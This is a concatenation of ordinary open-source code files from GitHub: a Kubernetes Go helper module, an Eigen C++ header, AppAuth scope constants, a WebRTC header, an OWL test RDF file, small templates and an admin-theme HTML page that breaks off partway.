minSize; } if (useFilter) MyFree(filteredStream); return mainResult; }
{ "pile_set_name": "Github" }
/* Copyright 2015 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package unstructured import ( gojson "encoding/json" "fmt" "io" "strings" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/runtime" "k8s.io/apimachinery/pkg/runtime/schema" "k8s.io/apimachinery/pkg/types" "k8s.io/apimachinery/pkg/util/json" ) // NestedFieldCopy returns a deep copy of the value of a nested field. // Returns false if the value is missing. // No error is returned for a nil field. func NestedFieldCopy(obj map[string]interface{}, fields ...string) (interface{}, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return nil, found, err } return runtime.DeepCopyJSONValue(val), true, nil } // NestedFieldNoCopy returns a reference to a nested field. // Returns false if value is not found and an error if unable // to traverse obj. func NestedFieldNoCopy(obj map[string]interface{}, fields ...string) (interface{}, bool, error) { var val interface{} = obj for i, field := range fields { if val == nil { return nil, false, nil } if m, ok := val.(map[string]interface{}); ok { val, ok = m[field] if !ok { return nil, false, nil } } else { return nil, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected map[string]interface{}", jsonPath(fields[:i+1]), val, val) } } return val, true, nil } // NestedString returns the string value of a nested field. // Returns false if value is not found and an error if not a string. func NestedString(obj map[string]interface{}, fields ...string) (string, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return "", found, err } s, ok := val.(string) if !ok { return "", false, fmt.Errorf("%v accessor error: %v is of the type %T, expected string", jsonPath(fields), val, val) } return s, true, nil } // NestedBool returns the bool value of a nested field. // Returns false if value is not found and an error if not a bool. func NestedBool(obj map[string]interface{}, fields ...string) (bool, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return false, found, err } b, ok := val.(bool) if !ok { return false, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected bool", jsonPath(fields), val, val) } return b, true, nil } // NestedFloat64 returns the float64 value of a nested field. // Returns false if value is not found and an error if not a float64. func NestedFloat64(obj map[string]interface{}, fields ...string) (float64, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return 0, found, err } f, ok := val.(float64) if !ok { return 0, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected float64", jsonPath(fields), val, val) } return f, true, nil } // NestedInt64 returns the int64 value of a nested field. // Returns false if value is not found and an error if not an int64. func NestedInt64(obj map[string]interface{}, fields ...string) (int64, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return 0, found, err } i, ok := val.(int64) if !ok { return 0, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected int64", jsonPath(fields), val, val) } return i, true, nil } // NestedStringSlice returns a copy of []string value of a nested field. // Returns false if value is not found and an error if not a []interface{} or contains non-string items in the slice. func NestedStringSlice(obj map[string]interface{}, fields ...string) ([]string, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return nil, found, err } m, ok := val.([]interface{}) if !ok { return nil, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected []interface{}", jsonPath(fields), val, val) } strSlice := make([]string, 0, len(m)) for _, v := range m { if str, ok := v.(string); ok { strSlice = append(strSlice, str) } else { return nil, false, fmt.Errorf("%v accessor error: contains non-string key in the slice: %v is of the type %T, expected string", jsonPath(fields), v, v) } } return strSlice, true, nil } // NestedSlice returns a deep copy of []interface{} value of a nested field. // Returns false if value is not found and an error if not a []interface{}. func NestedSlice(obj map[string]interface{}, fields ...string) ([]interface{}, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return nil, found, err } _, ok := val.([]interface{}) if !ok { return nil, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected []interface{}", jsonPath(fields), val, val) } return runtime.DeepCopyJSONValue(val).([]interface{}), true, nil } // NestedStringMap returns a copy of map[string]string value of a nested field. // Returns false if value is not found and an error if not a map[string]interface{} or contains non-string values in the map. func NestedStringMap(obj map[string]interface{}, fields ...string) (map[string]string, bool, error) { m, found, err := nestedMapNoCopy(obj, fields...) if !found || err != nil { return nil, found, err } strMap := make(map[string]string, len(m)) for k, v := range m { if str, ok := v.(string); ok { strMap[k] = str } else { return nil, false, fmt.Errorf("%v accessor error: contains non-string key in the map: %v is of the type %T, expected string", jsonPath(fields), v, v) } } return strMap, true, nil } // NestedMap returns a deep copy of map[string]interface{} value of a nested field. // Returns false if value is not found and an error if not a map[string]interface{}. func NestedMap(obj map[string]interface{}, fields ...string) (map[string]interface{}, bool, error) { m, found, err := nestedMapNoCopy(obj, fields...) if !found || err != nil { return nil, found, err } return runtime.DeepCopyJSON(m), true, nil } // nestedMapNoCopy returns a map[string]interface{} value of a nested field. // Returns false if value is not found and an error if not a map[string]interface{}. func nestedMapNoCopy(obj map[string]interface{}, fields ...string) (map[string]interface{}, bool, error) { val, found, err := NestedFieldNoCopy(obj, fields...) if !found || err != nil { return nil, found, err } m, ok := val.(map[string]interface{}) if !ok { return nil, false, fmt.Errorf("%v accessor error: %v is of the type %T, expected map[string]interface{}", jsonPath(fields), val, val) } return m, true, nil } // SetNestedField sets the value of a nested field to a deep copy of the value provided. // Returns an error if value cannot be set because one of the nesting levels is not a map[string]interface{}. func SetNestedField(obj map[string]interface{}, value interface{}, fields ...string) error { return setNestedFieldNoCopy(obj, runtime.DeepCopyJSONValue(value), fields...) } func setNestedFieldNoCopy(obj map[string]interface{}, value interface{}, fields ...string) error { m := obj for i, field := range fields[:len(fields)-1] { if val, ok := m[field]; ok { if valMap, ok := val.(map[string]interface{}); ok { m = valMap } else { return fmt.Errorf("value cannot be set because %v is not a map[string]interface{}", jsonPath(fields[:i+1])) } } else { newVal := make(map[string]interface{}) m[field] = newVal m = newVal } } m[fields[len(fields)-1]] = value return nil } // SetNestedStringSlice sets the string slice value of a nested field. // Returns an error if value cannot be set because one of the nesting levels is not a map[string]interface{}. func SetNestedStringSlice(obj map[string]interface{}, value []string, fields ...string) error { m := make([]interface{}, 0, len(value)) // convert []string into []interface{} for _, v := range value { m = append(m, v) } return setNestedFieldNoCopy(obj, m, fields...) } // SetNestedSlice sets the slice value of a nested field. // Returns an error if value cannot be set because one of the nesting levels is not a map[string]interface{}. func SetNestedSlice(obj map[string]interface{}, value []interface{}, fields ...string) error { return SetNestedField(obj, value, fields...) } // SetNestedStringMap sets the map[string]string value of a nested field. // Returns an error if value cannot be set because one of the nesting levels is not a map[string]interface{}. func SetNestedStringMap(obj map[string]interface{}, value map[string]string, fields ...string) error { m := make(map[string]interface{}, len(value)) // convert map[string]string into map[string]interface{} for k, v := range value { m[k] = v } return setNestedFieldNoCopy(obj, m, fields...) } // SetNestedMap sets the map[string]interface{} value of a nested field. // Returns an error if value cannot be set because one of the nesting levels is not a map[string]interface{}. func SetNestedMap(obj map[string]interface{}, value map[string]interface{}, fields ...string) error { return SetNestedField(obj, value, fields...) } // RemoveNestedField removes the nested field from the obj. func RemoveNestedField(obj map[string]interface{}, fields ...string) { m := obj for _, field := range fields[:len(fields)-1] { if x, ok := m[field].(map[string]interface{}); ok { m = x } else { return } } delete(m, fields[len(fields)-1]) } func getNestedString(obj map[string]interface{}, fields ...string) string { val, found, err := NestedString(obj, fields...) if !found || err != nil { return "" } return val } func jsonPath(fields []string) string { return "." + strings.Join(fields, ".") } func extractOwnerReference(v map[string]interface{}) metav1.OwnerReference { // though this field is a *bool, but when decoded from JSON, it's // unmarshalled as bool. var controllerPtr *bool if controller, found, err := NestedBool(v, "controller"); err == nil && found { controllerPtr = &controller } var blockOwnerDeletionPtr *bool if blockOwnerDeletion, found, err := NestedBool(v, "blockOwnerDeletion"); err == nil && found { blockOwnerDeletionPtr = &blockOwnerDeletion } return metav1.OwnerReference{ Kind: getNestedString(v, "kind"), Name: getNestedString(v, "name"), APIVersion: getNestedString(v, "apiVersion"), UID: types.UID(getNestedString(v, "uid")), Controller: controllerPtr, BlockOwnerDeletion: blockOwnerDeletionPtr, } } // UnstructuredJSONScheme is capable of converting JSON data into the Unstructured // type, which can be used for generic access to objects without a predefined scheme. // TODO: move into serializer/json. var UnstructuredJSONScheme runtime.Codec = unstructuredJSONScheme{} type unstructuredJSONScheme struct{} func (s unstructuredJSONScheme) Decode(data []byte, _ *schema.GroupVersionKind, obj runtime.Object) (runtime.Object, *schema.GroupVersionKind, error) { var err error if obj != nil { err = s.decodeInto(data, obj) } else { obj, err = s.decode(data) } if err != nil { return nil, nil, err } gvk := obj.GetObjectKind().GroupVersionKind() if len(gvk.Kind) == 0 { return nil, &gvk, runtime.NewMissingKindErr(string(data)) } return obj, &gvk, nil } func (unstructuredJSONScheme) Encode(obj runtime.Object, w io.Writer) error { switch t := obj.(type) { case *Unstructured: return json.NewEncoder(w).Encode(t.Object) case *UnstructuredList: items := make([]interface{}, 0, len(t.Items)) for _, i := range t.Items { items = append(items, i.Object) } listObj := make(map[string]interface{}, len(t.Object)+1) for k, v := range t.Object { // Make a shallow copy listObj[k] = v } listObj["items"] = items return json.NewEncoder(w).Encode(listObj) case *runtime.Unknown: // TODO: Unstructured needs to deal with ContentType. _, err := w.Write(t.Raw) return err default: return json.NewEncoder(w).Encode(t) } } func (s unstructuredJSONScheme) decode(data []byte) (runtime.Object, error) { type detector struct { Items gojson.RawMessage } var det detector if err := json.Unmarshal(data, &det); err != nil { return nil, err } if det.Items != nil { list := &UnstructuredList{} err := s.decodeToList(data, list) return list, err } // No Items field, so it wasn't a list. unstruct := &Unstructured{} err := s.decodeToUnstructured(data, unstruct) return unstruct, err } func (s unstructuredJSONScheme) decodeInto(data []byte, obj runtime.Object) error { switch x := obj.(type) { case *Unstructured: return s.decodeToUnstructured(data, x) case *UnstructuredList: return s.decodeToList(data, x) case *runtime.VersionedObjects: o, err := s.decode(data) if err == nil { x.Objects = []runtime.Object{o} } return err default: return json.Unmarshal(data, x) } } func (unstructuredJSONScheme) decodeToUnstructured(data []byte, unstruct *Unstructured) error { m := make(map[string]interface{}) if err := json.Unmarshal(data, &m); err != nil { return err } unstruct.Object = m return nil } func (s unstructuredJSONScheme) decodeToList(data []byte, list *UnstructuredList) error { type decodeList struct { Items []gojson.RawMessage } var dList decodeList if err := json.Unmarshal(data, &dList); err != nil { return err } if err := json.Unmarshal(data, &list.Object); err != nil { return err } // For typed lists, e.g., a PodList, API server doesn't set each item's // APIVersion and Kind. We need to set it. listAPIVersion := list.GetAPIVersion() listKind := list.GetKind() itemKind := strings.TrimSuffix(listKind, "List") delete(list.Object, "items") list.Items = make([]Unstructured, 0, len(dList.Items)) for _, i := range dList.Items { unstruct := &Unstructured{} if err := s.decodeToUnstructured([]byte(i), unstruct); err != nil { return err } // This is hacky. Set the item's Kind and APIVersion to those inferred // from the List. if len(unstruct.GetKind()) == 0 && len(unstruct.GetAPIVersion()) == 0 { unstruct.SetKind(itemKind) unstruct.SetAPIVersion(listAPIVersion) } list.Items = append(list.Items, *unstruct) } return nil } type JSONFallbackEncoder struct { runtime.Encoder } func (c JSONFallbackEncoder) Encode(obj runtime.Object, w io.Writer) error { err := c.Encoder.Encode(obj, w) if runtime.IsNotRegisteredError(err) { switch obj.(type) { case *Unstructured, *UnstructuredList: return UnstructuredJSONScheme.Encode(obj, w) } } return err }
{ "pile_set_name": "Github" }
// This file is part of Eigen, a lightweight C++ template library // for linear algebra. // // Copyright (C) 2008-2010 Gael Guennebaud <[email protected]> // // This Source Code Form is subject to the terms of the Mozilla // Public License v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef EIGEN_STL_FUNCTORS_H #define EIGEN_STL_FUNCTORS_H namespace Eigen { namespace internal { // default functor traits for STL functors: template<typename T> struct functor_traits<std::multiplies<T> > { enum { Cost = NumTraits<T>::MulCost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::divides<T> > { enum { Cost = NumTraits<T>::MulCost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::plus<T> > { enum { Cost = NumTraits<T>::AddCost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::minus<T> > { enum { Cost = NumTraits<T>::AddCost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::negate<T> > { enum { Cost = NumTraits<T>::AddCost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::logical_or<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::logical_and<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::logical_not<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::greater<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::less<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::greater_equal<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::less_equal<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::equal_to<T> > { enum { Cost = 1, PacketAccess = false }; }; template<typename T> struct functor_traits<std::not_equal_to<T> > { enum { Cost = 1, PacketAccess = false }; }; #if (__cplusplus < 201103L) && (EIGEN_COMP_MSVC <= 1900) // std::binder* are deprecated since c++11 and will be removed in c++17 template<typename T> struct functor_traits<std::binder2nd<T> > { enum { Cost = functor_traits<T>::Cost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::binder1st<T> > { enum { Cost = functor_traits<T>::Cost, PacketAccess = false }; }; #endif template<typename T> struct functor_traits<std::unary_negate<T> > { enum { Cost = 1 + functor_traits<T>::Cost, PacketAccess = false }; }; template<typename T> struct functor_traits<std::binary_negate<T> > { enum { Cost = 1 + functor_traits<T>::Cost, PacketAccess = false }; }; #ifdef EIGEN_STDEXT_SUPPORT template<typename T0,typename T1> struct functor_traits<std::project1st<T0,T1> > { enum { Cost = 0, PacketAccess = false }; }; template<typename T0,typename T1> struct functor_traits<std::project2nd<T0,T1> > { enum { Cost = 0, PacketAccess = false }; }; template<typename T0,typename T1> struct functor_traits<std::select2nd<std::pair<T0,T1> > > { enum { Cost = 0, PacketAccess = false }; }; template<typename T0,typename T1> struct functor_traits<std::select1st<std::pair<T0,T1> > > { enum { Cost = 0, PacketAccess = false }; }; template<typename T0,typename T1> struct functor_traits<std::unary_compose<T0,T1> > { enum { Cost = functor_traits<T0>::Cost + functor_traits<T1>::Cost, PacketAccess = false }; }; template<typename T0,typename T1,typename T2> struct functor_traits<std::binary_compose<T0,T1,T2> > { enum { Cost = functor_traits<T0>::Cost + functor_traits<T1>::Cost + functor_traits<T2>::Cost, PacketAccess = false }; }; #endif // EIGEN_STDEXT_SUPPORT // allow to add new functors and specializations of functor_traits from outside Eigen. // this macro is really needed because functor_traits must be specialized after it is declared but before it is used... #ifdef EIGEN_FUNCTORS_PLUGIN #include EIGEN_FUNCTORS_PLUGIN #endif } // end namespace internal } // end namespace Eigen #endif // EIGEN_STL_FUNCTORS_H
{ "pile_set_name": "Github" }
/*! @file OIDScopes.m @brief AppAuth iOS SDK @copyright Copyright 2015 Google Inc. All Rights Reserved. @copydetails Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #import "OIDScopes.h" NSString *const OIDScopeOpenID = @"openid"; NSString *const OIDScopeProfile = @"profile"; NSString *const OIDScopeEmail = @"email"; NSString *const OIDScopeAddress = @"address"; NSString *const OIDScopePhone = @"phone";
{ "pile_set_name": "Github" }
<!doctype html> <html lang="zh-CN" data-page="popup"> <head> <meta charset="UTF-8"> <title>Paodin</title> </head> <body> <div id="app"> </div> <!-- built files will be auto injected --> </body> </html>
{ "pile_set_name": "Github" }
<!--++ I5.1/premises001.rdf ** generated using webont test editor. ++--> <!--++ Created 7 May 2003 10:53:21 GMT ++--> <!-- Copyright World Wide Web Consortium, (Massachusetts Institute of Technology, European Research Consortium for Informatics and Mathematics, Keio University). All Rights Reserved. Please see the full Copyright clause at <http://www.w3.org/Consortium/Legal/copyright-software.html> $Id: premises001.rdf,v 1.4 2003/05/07 19:41:18 jcarroll Exp $ --> <!-- stateCode example using an inverseFunctionalProperty and literals --> <!-- Author: Dan Connolly --> <rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#' xml:base= 'http://www.w3.org/2002/03owlt/I5.1/premises001' xmlns:NS0='http://example.org/vocab#' > <rdf:Description rdf:nodeID='A0'> <NS0:stateCode>KS</NS0:stateCode> <NS0:population>2688418</NS0:population> </rdf:Description> <rdf:Description rdf:about='http://example.org/vocab#stateCode'> <rdf:type rdf:resource='http://www.w3.org/2002/07/owl#InverseFunctionalProperty'/> </rdf:Description> <rdf:Description rdf:nodeID='A1'> <NS0:stateCode>KS</NS0:stateCode> <NS0:stateBird rdf:resource='http://example.org/vocab#WesternMeadowlark'/> </rdf:Description> </rdf:RDF>
{ "pile_set_name": "Github" }
/* * Copyright (c) 2018 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #ifndef RTC_BASE_EXPERIMENTS_ALR_EXPERIMENT_H_ #define RTC_BASE_EXPERIMENTS_ALR_EXPERIMENT_H_ #include <stdint.h> #include "absl/types/optional.h" #include "api/transport/webrtc_key_value_config.h" namespace webrtc { struct AlrExperimentSettings { public: float pacing_factor; int64_t max_paced_queue_time; int alr_bandwidth_usage_percent; int alr_start_budget_level_percent; int alr_stop_budget_level_percent; // Will be sent to the receive side for stats slicing. // Can be 0..6, because it's sent as a 3 bits value and there's also // reserved value to indicate absence of experiment. int group_id; static const char kScreenshareProbingBweExperimentName[]; static const char kStrictPacingAndProbingExperimentName[]; static absl::optional<AlrExperimentSettings> CreateFromFieldTrial( const char* experiment_name); static absl::optional<AlrExperimentSettings> CreateFromFieldTrial( const WebRtcKeyValueConfig& key_value_config, const char* experiment_name); static bool MaxOneFieldTrialEnabled(); static bool MaxOneFieldTrialEnabled( const WebRtcKeyValueConfig& key_value_config); private: AlrExperimentSettings() = default; }; } // namespace webrtc #endif // RTC_BASE_EXPERIMENTS_ALR_EXPERIMENT_H_
{ "pile_set_name": "Github" }
- @all_comments.each_with_index do |comment, i| - first_style = (i==0 ? "guset-topbr" : "") .cont-list class=first_style - user = comment.user = link_to user.name, m(site(user)) | :#{p_comment_info comment.body} em.font-g | &nbsp;(#{comment.created_at.strftime(t'no_year')})
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0"> <meta name="description" content="admin-themes-lab"> <meta name="author" content="themes-lab"> <link rel="shortcut icon" href="../assets/global/images/favicon.png" type="image/png"> <title>Make Admin Template &amp; Builder</title> <link href="../assets/global/css/style.css" rel="stylesheet"> <link href="../assets/global/css/theme.css" rel="stylesheet"> <link href="../assets/global/css/ui.css" rel="stylesheet"> <link href="../assets/admin/layout1/css/layout.css" rel="stylesheet"> <script src="../assets/global/plugins/modernizr/modernizr-2.6.2-respond-1.1.0.min.js"></script> </head> <!-- LAYOUT: Apply "submenu-hover" class to body element to have sidebar submenu show on mouse hover --> <!-- LAYOUT: Apply "sidebar-collapsed" class to body element to have collapsed sidebar --> <!-- LAYOUT: Apply "sidebar-top" class to body element to have sidebar on top of the page --> <!-- LAYOUT: Apply "sidebar-hover" class to body element to show sidebar only when your mouse is on left / right corner --> <!-- LAYOUT: Apply "submenu-hover" class to body element to show sidebar submenu on mouse hover --> <!-- LAYOUT: Apply "fixed-sidebar" class to body to have fixed sidebar --> <!-- LAYOUT: Apply "fixed-topbar" class to body to have fixed topbar --> <!-- LAYOUT: Apply "rtl" class to body to put the sidebar on the right side --> <!-- LAYOUT: Apply "boxed" class to body to have your page with 1200px max width --> <!-- THEME STYLE: Apply "theme-sdtl" for Sidebar Dark / Topbar Light --> <!-- THEME STYLE: Apply "theme sdtd" for Sidebar Dark / Topbar Dark --> <!-- THEME STYLE: Apply "theme sltd" for Sidebar Light / Topbar Dark --> <!-- THEME STYLE: Apply "theme sltl" for Sidebar Light / Topbar Light --> <!-- THEME COLOR: Apply "color-default" for dark color: #2B2E33 --> <!-- THEME COLOR: Apply "color-primary" for primary color: #319DB5 --> <!-- THEME COLOR: Apply "color-red" for red color: #C9625F --> <!-- THEME COLOR: Apply "color-green" for green color: #18A689 --> <!-- THEME COLOR: Apply "color-orange" for orange color: #B66D39 --> <!-- THEME COLOR: Apply "color-purple" for purple color: #6E62B5 --> <!-- THEME COLOR: Apply "color-blue" for blue color: #4A89DC --> <!-- BEGIN BODY --> <body class="fixed-topbar fixed-sidebar theme-sdtl color-default"> <!--[if lt IE 7]> <p class="browsehappy">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p> <![endif]--> <section> <!-- BEGIN SIDEBAR --> <div class="sidebar"> <div class="logopanel"> <h1> <a href="dashboard.html"></a> </h1> </div> <div class="sidebar-inner"> <div class="sidebar-top"> <form action="search-result.html" method="post" class="searchform" id="search-results"> <input type="text" class="form-control" name="keyword" placeholder="Search..."> </form> <div class="userlogged clearfix"> <i class="icon icons-faces-users-01"></i> <div class="user-details"> <h4>Mike Mayers</h4> <div class="dropdown user-login"> <button class="btn btn-xs dropdown-toggle btn-rounded" type="button" data-toggle="dropdown" data-hover="dropdown" data-close-others="true" data-delay="300"> <i class="online"></i><span>Available</span><i class="fa fa-angle-down"></i> </button> <ul class="dropdown-menu"> <li><a href="#"><i class="busy"></i><span>Busy</span></a></li> <li><a href="#"><i class="turquoise"></i><span>Invisible</span></a></li> <li><a href="#"><i class="away"></i><span>Away</span></a></li> </ul> </div> </div> </div> </div> <div class="menu-title"> Navigation <div class="pull-right menu-settings"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" data-hover="dropdown" data-close-others="true" data-delay="300"> <i class="icon-settings"></i> </a> <ul class="dropdown-menu"> <li><a href="#" id="reorder-menu" class="reorder-menu">Reorder menu</a></li> <li><a href="#" id="remove-menu" class="remove-menu">Remove elements</a></li> <li><a href="#" id="hide-top-sidebar" class="hide-top-sidebar">Hide user &amp; search</a></li> </ul> </div> </div> <ul class="nav nav-sidebar"> <li><a href="dashboard.html"><i class="icon-home"></i><span>Dashboard</span></a></li> <li class="nav-parent"> <a href="#"><i class="icon-puzzle"></i><span>Builder</span> <span class="fa arrow"></span></a> <ul class="children collapse"> <li><a target="_blank" href="../../admin-builder/index.html"> Admin</a></li> <li><a href="page-builder/index.html"> Page</a></li> <li><a href="ecommerce-pricing-table.html"> Pricing Table</a></li> </ul> </li> <li class=""><a href="../../frontend/one-page.html" target="_blank"><i class="fa fa-laptop"></i><span class="pull-right badge badge-primary hidden-st">New</span><span>Frontend</span></a></li> <li class="nav-parent"> <a href="#"><i class="icon-bulb"></i><span>Mailbox</span> <span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="mailbox.html"> Inbox</a></li> <li><a href="mailbox-send.html"> Send Email</a></li> <li><a href="mailbox-emails.html"><span class="pull-right badge badge-danger">Hot</span> Email Templates</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-screen-desktop"></i><span>UI Elements</span> <span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="ui-buttons.html"> Buttons</a></li> <li><a href="ui-components.html"> Components</a></li> <li><a href="ui-tabs.html"> Tabs</a></li> <li><a href="ui-animations.html"> Animations CSS3</a></li> <li><a href="ui-icons.html"> Icons</a></li> <li><a href="ui-portlets.html"> Portlets</a></li> <li><a href="ui-nestable-list.html"> Nestable List</a></li> <li><a href="ui-tree-view.html"> Tree View</a></li> <li><a href="ui-modals.html"> Modals</a></li> <li><a href="ui-notifications.html"> Notifications</a></li> <li><a href="ui-typography.html"> Typography</a></li> <li><a href="ui-helper.html"> Helper Classes</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-layers"></i><span>Layouts</span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="layouts-api.html"> Layout API</a></li> <li><a href="layout-topbar-menu.html"> Topbar Menu</a></li> <li><a href="layout-topbar-mega-menu.html"> Topbar Mega Menu</a></li> <li><a href="layout-topbar-mega-menu-dark.html"> Topbar Mega Dark</a></li> <li><a href="layout-sidebar-hover.html"> Sidebar on Hover</a></li> <li><a href="layout-submenu-hover.html"> Sidebar Submenu Hover</a></li> <li><a href="layout-boxed.html"> Boxed Layout</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-note"></i><span>Forms </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="forms.html"> Forms Elements</a></li> <li><a href="forms-validation.html"> Forms Validation</a></li> <li><a href="forms-plugins.html"> Advanced Plugins</a></li> <li><a href="forms-wizard.html"> <span class="pull-right badge badge-danger">low</span> <span>Form Wizard</span></a></li> <li><a href="forms-sliders.html"> Sliders</a></li> <li><a href="forms-editors.html"> Text Editors</a></li> <li><a href="forms-input-masks.html"> Input Masks</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="fa fa-table"></i><span>Tables</span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="tables.html"> Tables Styling</a></li> <li><a href="tables-dynamic.html"> Tables Dynamic</a></li> <li><a href="tables-filter.html"> Tables Filter</a></li> <li><a href="tables-editable.html"> Tables Editable</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-bar-chart"></i><span>Charts </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="charts.html"> Charts</a></li> <li><a href="charts-finance.html"> Financial Charts</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-picture"></i><span>Medias</span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="medias-image-croping.html"> Images Croping</a></li> <li><a href="medias-gallery-sortable.html"> Gallery Sortable</a></li> <li><a href="medias-hover-effects.html"> <span class="pull-right badge badge-primary">12</span> Hover Effects</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-docs"></i><span>Pages </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="page-timeline.html"> Timeline</a></li> <li><a href="page-404.html"> Error 404</a></li> <li><a href="page-500.html"> Error 500</a></li> <li><a href="page-blank.html"> Blank Page</a></li> <li><a href="page-contact.html"> Contact</a></li> </ul> </li> <li class="nav-parent nav-active active"> <a href=""><i class="icon-user"></i><span>User </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="user-profil.html"> <span class="pull-right badge badge-danger">Hot</span> Profil</a></li> <li><a href="user-lockscreen.html"> Lockscreen</a></li> <li><a href="user-login-v1.html"> Login / Register</a></li> <li><a href="user-login-v2.html"> Login / Register v2</a></li> <li class="active"><a href="user-session-timeout.html"> Session Timeout</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-basket"></i><span>eCommerce </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="ecommerce-cart.html"> Shopping Cart</a></li> <li><a href="ecommerce-invoice.html"> Invoice</a></li> <li><a href="ecommerce-pricing-table.html"><span class="pull-right badge badge-success">5</span> Pricing Table</a></li> </ul> </li> <li class="nav-parent"> <a href=""><i class="icon-cup"></i><span>Extra </span><span class="fa arrow"></span></a> <ul class="children collapse"> <li><a href="extra-fullcalendar.html"><span class="pull-right badge badge-primary">New</span> Fullcalendar</a></li> <li><a href="extra-widgets.html"> Widgets</a></li> <li><a href="page-coming-soon.html"> Coming Soon</a></li> <li><a href="extra-sliders.html"> Sliders</a></li> <li><a href="maps-google.html"> Google Maps</a></li> <li><a href="maps-vector.html"> Vector Maps</a></li> </ul> </li> </ul> <!-- SIDEBAR WIDGET FOLDERS --> <div class="sidebar-widgets"> <p class="menu-title widget-title">Folders <span class="pull-right"><a href="#" class="new-folder"> <i class="icon-plus"></i></a></span></p> <ul class="folders"> <li> <a href="#"><i class="icon-doc c-primary"></i>My documents</a> </li> <li> <a href="#"><i class="icon-picture"></i>My images</a> </li> <li><a href="#"><i class="icon-lock"></i>Secure data</a> </li> <li class="add-folder"> <input type="text" placeholder="Folder's name..." class="form-control input-sm"> </li> </ul> </div> <div class="sidebar-footer clearfix"> <a class="pull-left footer-settings" href="#" data-rel="tooltip" data-placement="top" data-original-title="Settings"> <i class="icon-settings"></i></a> <a class="pull-left toggle_fullscreen" href="#" data-rel="tooltip" data-placement="top" data-original-title="Fullscreen"> <i class="icon-size-fullscreen"></i></a> <a class="pull-left" href="user-lockscreen.html" data-rel="tooltip" data-placement="top" data-original-title="Lockscreen"> <i class="icon-lock"></i></a> <a class="pull-left btn-effect" href="user-login-v1.html" data-modal="modal-1" data-rel="tooltip" data-placement="top" data-original-title="Logout"> <i class="icon-power"></i></a> </div> </div> </div> <!-- END SIDEBAR --> <div class="main-content"> <!-- BEGIN TOPBAR --> <div class="topbar"> <div class="header-left"> <div class="topnav"> <a class="menutoggle" href="#" data-toggle="sidebar-collapsed"><span class="menu__handle"><span>Menu</span></span></a> <ul class="nav nav-icons"> <li><a href="#" class="toggle-sidebar-top"><span class="icon-user-following"></span></a></li> <li><a href="mailbox.html"><span class="octicon octicon-mail-read"></span></a></li> <li><a 